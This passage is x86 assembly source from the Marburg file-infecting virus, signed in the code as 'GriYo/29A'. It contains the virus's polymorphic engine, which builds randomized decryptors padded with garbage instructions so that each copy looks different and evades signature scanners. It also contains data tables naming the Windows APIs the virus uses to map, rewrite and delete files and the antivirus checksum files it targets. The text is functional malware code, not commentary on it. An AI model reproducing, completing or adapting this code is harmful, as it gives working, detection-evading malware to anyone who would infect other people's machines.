                mov al,8Bh
                stosw
                ret

delta_method_3: ;Generate:
                ;
                ;       call get_delta
                ;       ...
                ;       get_delta:
                ;       ...
                ;       pop reg_1
                ;       ...
                ;       push reg_1
                ;       ...
                ;       pop reg_index
                ;       ...

                call gen_pop_reg_1
                mov al,50h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                call gen_garbage
                call gen_pop_index
                ret

gen_pop_index:  ;Generate pop reg_index + garbage

                mov al,58h
                or al,byte ptr [ebp+index_mask]
                stosb
                call gen_garbage
                ret

gen_pop_reg_1:  ;Generate pop reg_1 + garbage

                call get_valid_reg
                mov al,58h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
                push ebx
                call gen_garbage
                pop ebx

                ;Restore aux reg state

                xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate decryptor action: Fix pointer
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

gen_fix_ptr:    ;Get displacement + offset of code to decrypt

                lea eax,dword ptr [ebp+Mem_Base+mem_size]
                add eax,dword ptr [ebp+ptr_disp]
                sub eax,dword ptr [ebp+delta_call]

                ;Check direction

                test byte ptr [ebp+build_flags],CRYPT_DIRECTION
                jz fix_dir_ok

                ;Direction is from top to bottom

                push eax
                call fixed_size2ecx
                xor eax,eax
                mov al,byte ptr [ebp+oper_size]
                push eax
                mul ecx
                pop ecx
                sub eax,ecx
                pop ecx
                add eax,ecx
fix_dir_ok:     push eax

                ;Fix using ADD or SUB

                call get_rnd32
                and al,01h
                jz fix_with_sub

fix_with_add:   ;Generate ADD reg_index,fix_value

                mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                jmp short fix_done

fix_with_sub:   ;Generate SUB reg_index,-fix_value

                mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                neg eax

fix_done:       stosd
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate decryptor action: Load counter
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

gen_load_ctr:   ;Easy now, just move counter random initial value
                ;into counter reg and calc end_value

                mov al,0B8h
                or al,byte ptr [ebp+counter_mask]
                stosb
                call fixed_size2ecx
                call get_rnd32
                stosd
                test byte ptr [ebp+build_flags],CRYPT_CDIR
                jnz counter_down
counter_up:     add eax,ecx
                jmp short done_ctr_dir
counter_down:   sub eax,ecx
done_ctr_dir:   mov dword ptr [ebp+end_value],eax
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate decryptor action: Decrypt
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

gen_decrypt:    ;Check if we are going to use a displacement

                mov eax,dword ptr [ebp+ptr_disp]
                or eax,eax
                jnz more_complex

                ;Choose generator for [reg] indexing mode

                mov edx,offset tbl_idx_reg
                call choose_magic
                jmp you_got_it

more_complex:   ;More fun?!?!

                mov al,byte ptr [ebp+build_flags]
                test al,CRYPT_SIMPLEX
                jnz crypt_xtended

                ;Choose generator for [reg+imm] indexing mode

                mov edx,offset tbl_dis_reg
                call choose_magic

you_got_it:     ;Use magic to convert some values into
                ;desired instructions

                call size_correct
                mov dl,byte ptr [ebp+index_mask]
                lodsb
                or al,al
                jnz adn_reg_01
                cmp dl,00000101b
                je adn_reg_02
adn_reg_01:     lodsb
                or al,dl
                stosb
                jmp common_part                
adn_reg_02:     lodsb
                add al,45h
                xor ah,ah
                stosw
                jmp common_part

crypt_xtended:  ;Choose [reg+reg] or [reg+reg+disp]

                test al,CRYPT_COMPLEX
                jz ok_complex

                ;Get random displacement from current displacement
                ;eeehh?!?

                mov eax,00000010h
                call get_rnd_range
                sub dword ptr [ebp+ptr_disp],eax
                call load_aux
                push ebx
                call gen_garbage

                ;Choose generator for [reg+reg+imm] indexing mode

                mov edx,offset tbl_paranoia
                call choose_magic
                jmp short done_xtended

ok_complex:     mov eax,dword ptr [ebp+ptr_disp]
                call load_aux
                push ebx
                call gen_garbage

                ;Choose generator for [reg+reg] indexing mode

                mov edx,offset tbl_xtended
                call choose_magic

done_xtended:   ;Build decryptor instructions

                call size_correct
                pop ebx
                mov dl,byte ptr [ebp+index_mask]
                lodsb
                mov cl,al
                or al,al
                jnz arn_reg_01
                cmp dl,00000101b
                jne arn_reg_01
                lodsb
                add al,40h
                stosb
                jmp short arn_reg_02
arn_reg_01:     movsb
arn_reg_02:     mov al,byte ptr [ebx+REG_MASK]
                shl al,03h
                or al,dl
                stosb
                or cl,cl
                jnz arn_reg_03
                cmp dl,00000101b
                jne arn_reg_03
                xor al,al
                stosb

arn_reg_03:     ;Restore aux reg state

                xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

common_part:    ;Get post-build flags

                lodsb

                ;Insert displacement from real address?

                test al,MAGIC_PUTDISP
                jz skip_disp
                push eax
                mov eax,dword ptr [ebp+ptr_disp]
                neg eax
                stosd
                pop eax

skip_disp:      ;Insert key?

                test al,MAGIC_PUTKEY
                jz skip_key
                call copy_key

skip_key:       ;Generate reverse code

                call do_reverse

                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Choose a magic generator
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

choose_magic:   mov eax,00000006h
                call get_rnd_range
                add edx,ebp
                lea esi,dword ptr [edx+eax*04h]
                lodsd
                add eax,ebp
                mov esi,eax
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Do operand size correction
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

size_correct:   lodsb
                mov ah,byte ptr [ebp+oper_size]
                cmp ah,01h
                je store_correct
                inc al
                cmp ah,04h
                je store_correct
                mov ah,66h
                xchg ah,al
                stosw
                ret
store_correct:  stosb
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Load aux reg with displacement
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

load_aux:       ;Get a valid auxiliary register

                push eax
                call get_valid_reg
                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

                ;Move displacement into aux reg

                mov al,0B8h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                pop eax
                neg eax
                stosd
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate crypt-code
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

do_reverse:     xor eax,eax
                mov al,byte ptr [ebp+oper_size]
                shr eax,01h
                shl eax,02h
                add esi,eax
                lodsd
                add eax,ebp
                mov esi,eax
                push edi
                lea edi,dword ptr [ebp+perform_crypt]
loop_string:    lodsb
                cmp al,MAGIC_ENDSTR
                je end_of_magic
                cmp al,MAGIC_ENDKEY
                je last_spell
                xor ecx,ecx
                mov cl,al
                rep movsb
                jmp short loop_string
last_spell:     call copy_key
end_of_magic:   mov al,0C3h
                stosb
                pop edi
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Copy encryption key into work buffer taking care about operand size
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

copy_key:       mov eax,dword ptr [ebp+crypt_key]
                xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]
loop_key:       stosb
                shr eax,08h
                loop loop_key
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate decryptor action: Move index to next step
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

gen_next_step:  ;Get number of bytes to inc or dec the index reg

                xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]

loop_update:    ;Get number of bytes to update with this instruction

                mov eax,ecx
                call get_rnd_range
                inc eax

                ;Check direction

                test byte ptr [ebp+build_flags],CRYPT_DIRECTION
                jnz step_down

                call do_step_up
                jmp short next_update

step_down:      call do_step_down

next_update:    sub ecx,eax
                jecxz end_update
                jmp short loop_update
end_update:     ret

do_step_up:     ;Move index_reg up

                or eax,eax
                jz up_with_inc

                ;Now choose ADD or SUB

                push eax
                call get_rnd32
                and al,01h
                jnz try_sub_1

try_add_1:      mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                stosd
                ret

try_sub_1:      mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                neg eax
                stosd
                neg eax
                ret

up_with_inc:    ;Generate INC reg_index

                mov al,40h
                or al,byte ptr [ebp+index_mask]
                stosb
                mov eax,00000001h
                ret

do_step_down:   ;Move index_reg down

                or eax,eax
                jz down_with_dec

                ;Now choose ADD or SUB

                push eax
                call get_rnd32
                and al,01h
                jnz try_sub_2

try_add_2:      mov ax,0C081h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                neg eax
                stosd
                neg eax
                ret

try_sub_2:      mov ax,0E881h
                or ah,byte ptr [ebp+index_mask]
                stosw
                pop eax
                stosd
                ret

down_with_dec:  ;Generate DEC reg_index

                mov al,48h
                or al,byte ptr [ebp+index_mask]
                stosb
                mov eax,00000001h
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate decryptor action: Next counter value
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

gen_next_ctr:   ;Check counter direction and update counter
                ;using a INC or DEC instruction

                test byte ptr [ebp+build_flags],CRYPT_CDIR
                jnz upd_ctr_down
upd_ctr_up:     mov al,40h
                or al,byte ptr [ebp+counter_mask]
                jmp short upd_ctr_ok
upd_ctr_down:   mov al,48h
                or al,byte ptr [ebp+counter_mask]
upd_ctr_ok:     stosb
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate decryptor action: Loop
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

gen_loop:       ;Use counter reg in CMP instruction?

                test byte ptr [ebp+build_flags],CRYPT_CMPCTR
                jnz doloopauxreg

                ;Generate CMP counter_reg,end_value

                mov ax,0F881h
                or ah,byte ptr [ebp+counter_mask]
                stosw
                mov eax,dword ptr [ebp+end_value]
                stosd

                jmp doloopready

doloopauxreg:   ;Get a random valid register to use in a CMP instruction

                call get_valid_reg
                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

                ;Move index reg value into aux reg

                mov ah,byte ptr [ebx+REG_MASK]
                shl ah,03h
                or ah,byte ptr [ebp+counter_mask]
                or ah,0C0h
                mov al,8Bh
                stosw

                ;Guess what!?

                push ebx
                call gen_garbage
                pop ebx

                ;Generate CMP aux_reg,end_value

                mov ax,0F881h
                or ah,byte ptr [ebx+REG_MASK]
                stosw
                mov eax,dword ptr [ebp+end_value]
                stosd
                     
                ;Restore aux reg state

                xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

doloopready:    ;Generate the following structure:
                ;
                ;       loop_point:
                ;       ...
                ;       cmp reg,x
                ;       jne loop_point
                ;       ...
                ;       jmp virus
                ;       ...

                mov ax,850Fh
                stosw
                mov eax,dword ptr [ebp+loop_point]
                sub eax,edi
                sub eax,00000004h
                stosd
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate some garbage code
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

gen_garbage:    ;More recursive levels allowed?

                inc byte ptr [ebp+recursive_level]
                cmp byte ptr [ebp+recursive_level],03h
                jae exit_gg

                ;Well, we can call this routine from lots of places
                ;in the virus, so take care about direction flag

                cld

                ;Choose garbage generator

                mov eax,00000003h
                call get_rnd_range
                inc eax
                mov ecx,eax
loop_garbage:   push ecx
                mov eax,(end_garbage-tbl_garbage)/04h
                call get_rnd_range
                lea esi,dword ptr [ebp+tbl_garbage+eax*04h]
                lodsd
                add eax,ebp
                call eax
                pop ecx
                loop loop_garbage

                ;Update recursive level

exit_gg:        dec byte ptr [ebp+recursive_level]
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate MOV reg,imm
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

g_movreg32imm:  ;Generate MOV reg32,imm

                call get_valid_reg
                mov al,0B8h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                call get_rnd32
                stosd
                ret

g_movreg16imm:  ;Generate MOV reg16,imm

                call get_valid_reg
                mov ax,0B866h
                or ah,byte ptr [ebx+REG_MASK]
                stosw
                call get_rnd32
                stosw
                ret

g_movreg8imm:   ;Generate MOV reg8,imm

                call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movreg8imm
                call get_rnd32
                mov al,0B0h
                or al,byte ptr [ebx+REG_MASK]
                push eax
                call get_rnd32
                pop edx
                and ax,0004h
                or ax,dx
                stosw
a_movreg8imm:   ret


;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate mov reg,reg
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

g_movregreg32:  call get_rnd_reg
                push ebx
                call get_valid_reg
                pop edx
                cmp ebx,edx
                je a_movregreg32
c_movregreg32:  mov ah,byte ptr [ebx+REG_MASK]
                shl ah,03h
                or ah,byte ptr [edx+REG_MASK]
                or ah,0C0h
                mov al,8Bh
                stosw
a_movregreg32:  ret

g_movregreg16:  call get_rnd_reg
                push ebx
                call get_valid_reg
                pop edx
                cmp ebx,edx
                je a_movregreg32
                mov al,66h
                stosb
                jmp short c_movregreg32

g_movregreg8:   call get_rnd_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movregreg8
                push ebx
                call get_valid_reg
                pop edx
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_movregreg8
                cmp ebx,edx
                je a_movregreg8
                mov ah,byte ptr [ebx+REG_MASK]
                shl ah,03h
                or ah,byte ptr [edx+REG_MASK]
                or ah,0C0h
                mov al,8Ah
                push eax
                call get_rnd32
                pop edx
                and ax,2400h
                or ax,dx
                stosw
a_movregreg8:   ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate MOVZX/MOVSX reg32,reg16
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

g_movzx_movsx:  call get_rnd32
                mov ah,0B7h
                and al,01h
                jz d_movzx
                mov ah,0BFh
d_movzx:        mov al,0Fh
                stosw
                call get_rnd_reg
                push ebx
                call get_valid_reg
                pop edx
                mov al,byte ptr [ebx+REG_MASK]
                shl al,03h
                or al,0C0h
                or al,byte ptr [edx+REG_MASK]
                stosb
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate ADD/SUB/XOR/OR/AND reg,imm
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

g_mathregimm32: mov al,81h
                stosb
                call get_valid_reg
                call do_math_work
                stosd
                ret

g_mathregimm16: mov ax,8166h
                stosw
                call get_valid_reg
                call do_math_work
                stosw
                ret

g_mathregimm8:  call get_valid_reg
                test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
                jnz a_math8
                mov al,80h
                stosb
                call do_math_work
                stosb
                and ah,04h
                or byte ptr [edi-00000002h],ah
a_math8:        ret

do_math_work:   mov eax,end_math_imm-tbl_math_imm
                call get_rnd_range
                lea esi,dword ptr [ebp+eax+tbl_math_imm]
                lodsb
                or al,byte ptr [ebx+REG_MASK]
                stosb
                call get_rnd32
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate push reg + garbage + pop reg
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

g_push_g_pop:   ;Note that garbage generator can call itself in a
                ;recursive way, so structures like the following
                ;example can be produced
                ;
                ;       push reg_1
                ;       ...
                ;       push reg_2
                ;       ...
                ;       pop reg_2
                ;       ...
                ;       pop reg_1
                ;

                call get_rnd_reg
                mov al,50h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                call gen_garbage
                call get_valid_reg
                mov al,58h
                or al,byte ptr [ebx+REG_MASK]
                stosb
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate unconditional jumps
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

g_jump_u:       mov al,0E9h
                stosb
                push edi
                stosd
                call gen_rnd_block
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate conditional jumps
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

g_jump_c:       call get_rnd32
                and ah,0Fh
                add ah,80h
                mov al,0Fh
                stosw
                push edi
                stosd
                call gen_garbage
                pop edx
                mov eax,edi
                sub eax,edx
                sub eax,00000004h
                mov dword ptr [edx],eax
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate one byte garbage code that does not change reg values
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

gen_save_code:  mov eax,end_save_code-tbl_save_code
                call get_rnd_range
                mov al,byte ptr [ebp+tbl_save_code+eax]
                stosb
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Initialize register table
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

init_poly:      ;We can call this routine from lots of places, so
                ;take care about direction flag

                cld

                ;Initialize random number generator
                ;Use current day + hour as seed

                mov eax,dword ptr [ebp+time_day]
                mov dword ptr [ebp+rnd32_seed],eax

                ;Initialize register table

                lea esi,dword ptr [ebp+tbl_startup]
                lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS]
                mov ecx,00000007h
loop_init_regs: movsb
                inc edi
                loop loop_init_regs

                ;Clear recursive level counter

                mov dword ptr [ebp+recursive_level],ecx

                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Get a ramdom reg
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

get_rnd_reg:    mov eax,00000007h
                call get_rnd_range
                lea ebx,dword ptr [ebp+tbl_regs+eax*02h]
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX)
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

get_valid_reg:  call get_rnd_reg
                mov al,byte ptr [ebx+REG_FLAGS]
                and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY
                jnz get_valid_reg
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Load ecx with crypt_size / oper_size
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

fixed_size2ecx: mov eax,inf_size-DECRYPTOR_SIZE
                xor ecx,ecx
                mov cl,byte ptr [ebp+oper_size]
                shr ecx,01h
                or ecx,ecx
                jz ok_2ecx
                shr eax,cl
                jnc ok_2ecx
                inc eax
ok_2ecx:        mov ecx,eax
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Generate a block of random data
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

gen_rnd_block:  ;Generate up to 27 random bytes

                mov eax,00000004h
                mov ecx,eax
                call get_rnd_range
                add ecx,eax
                cld

rnd_fill_loop:  ;Fill loop, get random dword 

                call get_rnd32
                stosd
                loop rnd_fill_loop
                ret                

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Linear congruent pseudorandom number generator
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

get_rnd32:      push ecx
                push edx
                mov eax,dword ptr [ebp+rnd32_seed]
                mov ecx,eax
                imul eax,41C64E6Dh
                add eax,00003039h
                mov dword ptr [ebp+rnd32_seed],eax
                xor eax,ecx
                pop edx
                pop ecx
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁
;Returns a random num between 0 and entry eax
;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

get_rnd_range:  push ecx
                push edx
                mov ecx,eax
                call get_rnd32
                xor edx,edx
                div ecx
                mov eax,edx  
                pop edx
                pop ecx
                ret

;렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁렁

                ;Virus initialized data

                ;Copyright notice

                db "[ Marburg ViRuS BioCoded by GriYo/29A ]"

                ;Array of RVAs to function names

viral_functions equ this byte

                dd offset szCreateFileA
                dd offset szCreateFileMap
                dd offset szMapViewOfFile
                dd offset szUnmapView
                dd offset szCloseHandle
                dd offset szFindFirst
                dd offset szFindNext
                dd offset szFindClose
                dd offset szVirtualAlloc
                dd offset szGetWinDir
                dd offset szGetSysDir
                dd offset szGetCurDir
                dd offset szSetFileAttr
                dd offset szSetFileTime
                dd offset szDeleteFile
                dd offset szGetCurProc
                dd offset szWriteProcMem
                dd offset szLoadLibrary
                dd offset szGetSysTime

viral_tbl_end   equ this byte

                ;Names of modules used by the virus

szKernel32      db "KERNEL32.dll",00h
szUSER32        db "USER32.dll",00h

                ;Kernel32 APIs used by the virus

szGetModuleH    db "GetModuleHandleA",00h
szGetProcAddr   db "GetProcAddress",00h
szCreateFileA   db "CreateFileA",00h
szCreateFileMap db "CreateFileMappingA",00h
szMapViewOfFile db "MapViewOfFile",00h
szUnmapView     db "UnmapViewOfFile",00h
szCloseHandle   db "CloseHandle",00h
szFindFirst     db "FindFirstFileA",00h
szFindNext      db "FindNextFileA",00h
szFindClose     db "FindClose",00h
szVirtualAlloc  db "VirtualAlloc",00h
szGetWinDir     db "GetWindowsDirectoryA",00h
szGetSysDir     db "GetSystemDirectoryA",00h
szGetCurDir     db "GetCurrentDirectoryA",00h
szSetFileAttr   db "SetFileAttributesA",00h
szSetFileTime   db "SetFileTime",00h
szDeleteFile    db "DeleteFileA",00h
szGetCurProc    db "GetCurrentProcess",00h
szWriteProcMem  db "WriteProcessMemory",00h
szLoadLibrary   db "LoadLibraryA",00h
szGetSysTime    db "GetSystemTime",00h

                ;User32 APIs used by the virus

szGetDC         db "GetDC",00h
szLoadIcon      db "LoadIconA",00h
szDrawIcon      db "DrawIcon",00h

                ;Names of AV checksum files

tbl_AV_files    equ this byte

                dd offset szAvData_00
                dd offset szAvData_01
                dd offset szAvData_02
                dd offset szAvData_03

end_AV_files    equ this byte

szAvData_00     db "ANTI-VIR.DAT",00h
szAvData_01     db "CHKLIST.MS",00h
szAvData_02     db "AVP.CRC",00h
szAvData_03     db "IVB.NTZ",00h

                ;Search mask for FindFirstFile and FindNextFile

szSearch        db "*.*",00h

                ;Infection time

inf_time        equ this byte

inf_year        dw 0000h
inf_month       dw 0000h
inf_dayofweek   dw 0000h
inf_day         dw 0000h
inf_hour        dw 0000h
inf_minute      dw 0000h
inf_second      dw 0000h
inf_millisec    dw 0000h

                ;Number of bytes to restore at host entry-point

insert_size     dd 00000000h

                ;Initialized data used by the polymorphic engine

                ;Register table
                ;
                ; - Register mask
                ; - Register flags

tbl_regs        equ this byte

                db 00000000b,REG_READ_ONLY      ;eax
                db 00000011b,00h                ;ebx
                db 00000001b,00h                ;ecx
                db 00000010b,00h                ;edx
                db 00000110b,REG_NO_8BIT        ;esi
                db 00000111b,REG_NO_8BIT        ;edi
                db 00000101b,REG_NO_8BIT        ;ebp

end_regs        equ this byte

                ;Aliases for reg table structure

REG_MASK        equ 00h
REG_FLAGS       equ 01h

                ;Bit aliases for reg flags

REG_IS_INDEX    equ 01h
REG_IS_COUNTER  equ 02h
REG_READ_ONLY   equ 04h
REG_NO_8BIT     equ 08h

                ;Initial reg flags

tbl_startup     equ this byte

                db REG_READ_ONLY                ;eax
                db 00h                          ;ebx
                db 00h                          ;ecx
                db 00h                          ;edx
                db REG_NO_8BIT                  ;esi
                db REG_NO_8BIT                  ;edi
                db REG_NO_8BIT                  ;ebp

                ;Code that does not disturb reg values
        
tbl_save_code   equ this byte

                clc
                stc
                cmc
                cld
                std
                
end_save_code   equ this byte

                ;Generators for get_delta

tbl_delta_mode  equ this byte

                dd offset delta_method_1
                dd offset delta_method_2
                dd offset delta_method_3

end_delta_mode  equ this byte

                ;Generators for [reg] indexing mode

tbl_idx_reg     equ this byte

                dd offset xx_inc_reg
                dd offset xx_dec_reg
                dd offset xx_not_reg
                dd offset xx_add_reg
                dd offset xx_sub_reg
                dd offset xx_xor_reg

                ;Generators for [reg+imm] indexing mode

tbl_dis_reg     equ this byte

                dd offset yy_inc_reg
                dd offset yy_dec_reg
                dd offset yy_not_reg
                dd offset yy_add_reg
                dd offset yy_sub_reg
                dd offset yy_xor_reg

                ;Generators for [reg+reg] indexing mode

tbl_xtended     equ this byte

                dd offset zz_inc_reg
                dd offset zz_dec_reg
                dd offset zz_not_reg
                dd offset zz_add_reg
                dd offset zz_sub_reg
                dd offset zz_xor_reg

                ;Generators for [reg+reg+imm] indexing mode

tbl_paranoia    equ this byte

                dd offset ii_inc_reg
                dd offset ii_dec_reg
                dd offset ii_not_reg
                dd offset ii_add_reg
                dd offset ii_sub_reg
                dd offset ii_xor_reg

                ;Opcodes for math reg,imm

tbl_math_imm    equ this byte

                db 0C0h                         ;add
                db 0C8h                         ;or
